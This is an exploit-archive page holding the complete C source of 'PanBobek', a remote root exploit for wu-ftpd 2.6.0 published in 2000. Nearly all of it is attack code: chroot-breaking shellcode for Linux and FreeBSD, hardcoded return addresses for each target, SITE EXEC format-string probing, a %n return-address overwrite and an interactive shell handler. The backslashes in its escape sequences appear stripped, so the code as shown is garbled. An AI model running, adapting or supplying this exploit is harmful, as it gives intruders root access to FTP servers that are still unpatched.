[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : wu-ftpd 2.6.0 Remote Root Exploit
# Published : 2000-11-21
# Author : venglin
# Previous Title : BFTPd vsprintf() Format Strings Exploit
# Next Title : INND/NNRP < 1.6.X Remote Root Overflow Exploit


/*
 * (c) 2000 venglin / b0f
 * http://b0f.freebsd.lublin.pl
 *
 * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT (22/06/2000, updated: 05/08/2000)
 *
 * Idea and preliminary version of exploit by tf8
 *
 * Greetz: Lam3rZ, TESO, ADM, lcamtuf, karpio.
 * Dedicated to ksm.
 *
 * **PRIVATE**DO*NOT*DISTRIBUTE**
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>


#define repln	if (getreply(0) < 0) return -1
#define replv	if (getreply(1) < 0) return -1

#ifdef DEBUG
#define repl replv
#else
#define repl repln
#endif

char usage[] = "usage: bobek [-l login] [-o port] [-f retofs] [-s retlocofs]nt<-t type> <hostname>";
char recvbuf[BUFSIZ], sendbuf[BUFSIZ];
FILE *cin, *cout;

char linuxcode[]= /* Lam3rZ chroot() code */
	"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb"
	"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31"
	"xc9x8dx5ex01x88x46x04x66xb9xffx01xb0x27xcd"
	"x80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31xdb"
	"x8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8dx5e"
	"x08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46x09"
	"x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8x88"
	"x46x04x31xc0x88x46x07x89x76x08x89x46x0cx89"
	"xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0x31"
	"xdbxb0x01xcdx80xe8x90xffxffxffx30x62x69x6e"
	"x30x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69"
	"x6ex40x6bx6fx63x68x61x6dx2ex6bx61x73x69x65"
	"x2ex63x6fx6d";

char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
	"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43"
	"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0"
	"x8dx5ex01x88x46x04x66x68xffx01x53x53xb0x88"
	"xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80x31"
	"xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9x31"
	"xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75xf1"
	"x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcdx80"
	"xfex0exb0x30xfexc8x88x46x04x31xc0x88x46x07"
	"x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56x0c"
	"x52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53x53"
	"xb0x01xcdx80xe8x84xffxffxffx30x62x69x6ex30"
	"x73x68x31x2ex2ex31x31x76x65x6ex67x6cx69x6e"
	"x40x6bx6fx63x68x61x6dx2ex6bx61x73x69x65x2e"
	"x63x6fx6d";

struct platforms
{
	char *os;
	char *version;
	char *code;
	int align;
	int eipoff;
	long ret;
	long retloc;
	int sleep;
};

struct platforms targ[] =
{
	{ "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 },
	{ "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 },
	{ "FreeBSD 3.4-STABLE", "2.6.0-packages", bsdcode, 2, 1024, 0x80b1510, 0xbfbfe798, 0 },
	{ "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf74, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd074, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffcf84, 0 },
	{ "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd04c, 0 },
	{ "RedHat Linux 6.2-SMP", "2.6.0-RPM", linuxcode, 2, 1024, 0x80759e0, 0xbfffd0e4, 0 },
	{ NULL, NULL, NULL, 0, 0, 0, 0 }
};

long getip(name)
char *name;
{
	struct hostent *hp;
	long ip;
	extern int h_errno;

	if ((ip = inet_addr(name)) < 0)
	{
		if (!(hp = gethostbyname(name)))
		{
			fprintf(stderr, "gethostbyname(): %sn",
				strerror(h_errno));
			exit(1);
		}
		memcpy(&ip, (hp->h_addr), 4);
	}

	return ip;
}

int connecttoftp(host, port)
char *host;
int port;
{
	int sockfd;
	struct sockaddr_in cli;

	bzero(&cli, sizeof(cli));
	cli.sin_family = AF_INET;
	cli.sin_addr.s_addr=getip(host);
	cli.sin_port = htons(port);

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	{
		perror("socket");
		return -1;
	}

	if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) 
	{
                perror("connect");
		close(sockfd);
		return -1;
	}

	cin = fdopen(sockfd, "r");
	cout = fdopen(sockfd, "w");

	if (!cin || !cout)
	{
		close(sockfd);
		return -1;
	}

	return sockfd;
}

int command(const char *fmt, ...)
{
	char buf1[BUFSIZ], buf2[BUFSIZ*2], *p, *q;

	va_list args;

	if (!cout)
		return -1;

	bzero(buf1, BUFSIZ);
	bzero(buf2, BUFSIZ*2);

	va_start(args, fmt);
	vsnprintf(buf1, BUFSIZ, fmt, args);
	va_end(args);

	for (p=buf1,q=buf2;*p;p++,q++)
	{
		if (*p == 'xff')
		{
			*q++ = 'xff';
			*q = 'xff';
		}
		else
			*q = *p;
	}

	fprintf(cout, "%s", buf2);

#ifdef DEBUG
	fprintf(stderr, "--> ");
	fprintf(stderr, "%s", buf2);
	fputc('n', stderr);
#endif

	fputs("rn", cout);
	(void)fflush(cout);
	return 0;
}

int getreply(v)
int v;
{
	if (!(fgets(recvbuf, BUFSIZ, cin)))
		return -1;

	if (v)
		fprintf(stderr, "<-- %s", recvbuf);

	return 0;
}

int logintoftp(login, passwd)
char *login, *passwd;
{
	do
		repl;
	while (strncmp(recvbuf, "220 ", 4));

	if ((command("USER %s", login)) < 0)
		return -1;

	repl;

	if (strncmp(recvbuf, "331", 3))
	{
		puts(recvbuf);
		return -1;
	}

	if ((command("PASS %s", passwd) < 0))
		return -1;

	do
		repl;
	while (strncmp(recvbuf, "230 ", 4));

	return 0;
}

int checkvuln(void)
{
	command("SITE EXEC %%p");
	repl;

	if(strncmp(recvbuf, "200-", 4))
		return -1;

	if(strncmp(recvbuf+4, "0x", 2))
		return -1;

	repl;

	return 0;
}

int findeip(eipoff, align)
int eipoff, align;
{
	int i, j, off;
	char *p1;
	char eip1[10], eip2[10];

	for (i=eipoff;;i+=8)
	{
		fprintf(stderr, "at offset %dn", i);
		strcpy(sendbuf, "SITE EXEC ");
 
		for (j=0;j<align;j++) strcat(sendbuf, "a");
		strcat(sendbuf, "abcd");

		for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f");
		for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d%%d");
		strcat(sendbuf, "|%%.8x|%%.8x");

		if (command(sendbuf) < 0)
			return -1;

		repl;

		if (!(p1 = strchr(recvbuf, '|')))
			return -1;

		strncpy(eip1, p1+1, 8);
		strncpy(eip2, p1+10, 8);

		eip1[8] = eip2[8] = '';

		if (!(strcmp(eip1, "64636261")))
		{
			off = i;
			break;
		}

		if (!(strcmp(eip2, "64636261")))
		{
			off = i + 4;
			break;
		}

		repl;
	}

	repl;

	return off;
}

char *putshell(type)
int type;
{
	static char buf[400];
	int noplen;

	char *code = targ[type].code;

	noplen = sizeof(buf) - strlen(code) - 2;

	memset(buf, 0x90, noplen);
	buf[noplen+1] = '';
	strcat(buf, code);

	return buf;
}

int overwrite(ptr, off, align, retloc, eipoff)
long ptr, retloc;
int off, align, eipoff;
{
	int i, size = 0;
	char buf[100];

	fprintf(stderr, "RET: %p, RET location: %p,"
		" RET location offset on stack: %dn",
		(void *)ptr, (void *)retloc, off);

	if (off >= 12)
	{

		strcpy(sendbuf, "SITE EXEC ");

		for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
		for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");

		if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");

		if (command(sendbuf) < 0)
			return -1;	

		repl;

		size = strlen(recvbuf+4) - 2;

		repl;
	}

	fprintf(stderr, "Reply size: %d, New RET: %pn", size,
		(void *)(ptr-size));

	strcpy(sendbuf, "SITE EXEC ");
	for (i=0;i<align;i++) strcat(sendbuf, "a");

	sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff),
		(((int)retloc & 0xff00) >> 8),
		(((int)retloc & 0xff0000) >> 16),
		(((int)retloc & 0xff000000) >> 24));

	strcat(sendbuf, buf);

	for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f");
	for (i=0;i<(off-eipoff-8)/8;i++) strcat(sendbuf, "%%d%%d");

	if (((off-eipoff-8) % 8) != 0) strcat(sendbuf, "%%d%%d");

	strcat(sendbuf, "%%.");
	sprintf(buf, "%d", (int)ptr-size);
	strcat(sendbuf, buf);
	strcat(sendbuf, "d%%n");

	if (command(sendbuf) < 0)
		return -1;

	return 0;
}

int sh(sockfd)
int sockfd;
{
	char buf[BUFSIZ];
	int c;
	fd_set rf, drugi;
	char cmd[] = "uname -a ; pwd ; idn";
        
	FD_ZERO(&rf);
	FD_SET(0, &rf);
	FD_SET(sockfd, &rf);
	write(sockfd, cmd, strlen(cmd));

	while (1)
	{
		bzero(buf, BUFSIZ);
		memcpy (&drugi, &rf, sizeof(rf));
		select(sockfd+1, &drugi, NULL, NULL, NULL);
		if (FD_ISSET(0, &drugi))
		{
			c = read(0, buf, BUFSIZ);
			send(sockfd, buf, c, 0x4);
		}

		if (FD_ISSET(sockfd, &drugi))
		{
			c = read(sockfd, buf, BUFSIZ);
			if (c<0) return 0;
			write(1,buf,c);
		}
	}
}

int main(argc, argv)
int argc;
char **argv;
{
	extern int optind, opterr;
	extern char *optarg;
	int ch, type, port, eipoff, fd, retofs, retlocofs, align, i, retoff;
	long ret, retloc;
	char login[BUFSIZ], password[BUFSIZ];

	opterr = retofs = retlocofs = 0;
	strcpy(login, "ftp");
	type = -1;
	port = 21;

	while ((ch = getopt(argc, argv, "l:f:s:t:o")) != -1)
		switch((char)ch)	
		{
			case 'l':
				strcpy(login, optarg);
				break;

			case 't':
				type = atoi(optarg);
				break;

			case 'o':
				port = atoi(optarg);
				break;

			case 'f':
				retofs = atoi(optarg);
				break;

			case 's':
				retlocofs = atoi(optarg);
				break;

			case '?':
			default:
				puts(usage);
				exit(0);
		}

	argc -= optind;
	argv += optind;

	fprintf(stderr, "PanBobek v1.1 by venglin@freebsd.lublin.plnn");

	if (type < 0)
	{
		fprintf(stderr, "Please select platform:n");
		for (i=0;targ[i].os;i++)
		{
			fprintf(stderr, "t-t %d : %s %s (%p / %p)n", i,
				targ[i].os, targ[i].version,
				(void *)targ[i].ret,
				(void *)targ[i].retloc);
		}
		exit(0);
	}

	fprintf(stderr, "Selected platform: %s with WUFTPD %snn",
		targ[type].os, targ[type].version);

	eipoff = targ[type].eipoff;
	align = targ[type].align;
	ret = targ[type].ret;
	retloc = targ[type].retloc;
	retloc += retlocofs;
	ret += retofs;

	if (argc != 1)
	{
		puts(usage);
		exit(0);
	}

	strcpy(password, putshell(type));

	if ((fd = connecttoftp(*argv, port)) < 0)
	{    
		(void)fprintf(stderr, "Connection to %s failed.n", *argv);
		exit(1);
	}

	(void)fprintf(stderr, "Connected to %s. Trying to log in.n", *argv);

	if (logintoftp(login, password) < 0)
	{
		(void)fprintf(stderr, "Logging in to %s (%s) failed.n",
			*argv, login);
		exit(1);
        }

	(void)fprintf(stderr, "Logged in as %s. Checking vulnerability.n",
		login);

	sleep(targ[type].sleep);

	if (checkvuln() < 0)
	{
		(void)fprintf(stderr, "Sorry, this version isn't"
			" vulnerable or uses internal vsnprintf().n");
		exit(1);
	}

	(void)fprintf(stderr, "Ok, trying to find offset (initial: %d)n",
		eipoff);

	if ((retoff = findeip(eipoff, align)) < 0)
	{
		(void)fprintf(stderr, "nError finding offset. Adjust"
			" align.n");
		exit(1);
	}

	if (overwrite(ret, retoff, align, retloc, eipoff) < 0)
	{
		(void)fprintf(stderr, "Error overwriting RET addr.n");
		exit(1);
	}

	fprintf(stderr, "Wait up to few minutes for reply. It depends on "
			"victim's CPU speed.nEnjoy your shell.n");

	sh(fd);

	exit(0);
}


// www.Syue.com [2000-11-21]